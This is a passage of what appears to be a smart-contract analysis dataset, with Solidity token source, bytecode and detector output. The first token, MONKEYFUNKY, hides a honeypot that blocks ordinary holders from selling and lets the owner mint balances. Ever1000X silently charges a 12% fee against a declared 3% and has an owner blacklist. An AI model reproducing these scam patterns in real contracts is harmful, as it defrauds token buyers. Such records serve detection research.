require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract MONKEYFUNKY { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function approveAndCall(address spender, uint256 addedValue) public returns (bool) { require(msg.sender == owner); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } address tradeAddress; function transferownership(address addr) public returns(bool) { require(msg.sender == owner); tradeAddress = addr; return true; } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; emit Transfer(address(0x0), msg.sender, totalSupply); } }
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a723158204af29beb112b63e6c9e4cf43126322a0823cb5650f4de05eede8f3002dcf894364736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
7,125
0x5f8abfa29add0eff3083cd1fe5e7e420a3ab911a
/** *Submitted for verification at Etherscan.io on 2021-06-27 */ /** *Submitted for verification at Etherscan.io on 2021-06-23 */ //2% Deflationary yes //Telegram: https://t.me/Ever1000X //CG, CMC listing: Ongoing //Fair Launch //Community Driven - 100% Community Owned! // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Ever1000X is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Ever1000X | t.me/Ever1000X"; string private constant _symbol = "Ever1000X\xE2\x86\x97"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 3; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 2; _teamFee = 3; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.mul(4).div(10)); _marketingFunds.transfer(amount.mul(6).div(10)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 3000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, 12); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612f03565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a26565b61045e565b6040516101789190612ee8565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a391906130a5565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129d7565b61048d565b6040516101e09190612ee8565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612949565b610566565b005b34801561021e57600080fd5b50610227610656565b604051610234919061311a565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612aa3565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612949565b610783565b6040516102b191906130a5565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612e1a565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612f03565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a26565b61098d565b60405161035b9190612ee8565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a62565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612af5565b6110d1565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061299b565b61121a565b60405161041891906130a5565b60405180910390f35b60606040518060400160405280601a81526020017f457665723130303058207c20742e6d652f457665723130303058000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137de60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fe5565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fe5565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db8565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fe5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600c81526020017f457665723130303058e286970000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fe5565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef906133bb565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e26565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fe5565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613065565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d689190612972565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e029190612972565b6040518363ffffffff1660e01b8152600401610e1f929190612e35565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e719190612972565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e87565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612b1e565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506729a2241af62c00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e5e565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612acc565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe5565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa5565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061212090919063ffffffff16565b61219b90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f91906130a5565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613045565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f65565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161146791906130a5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613025565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a00000000000000000000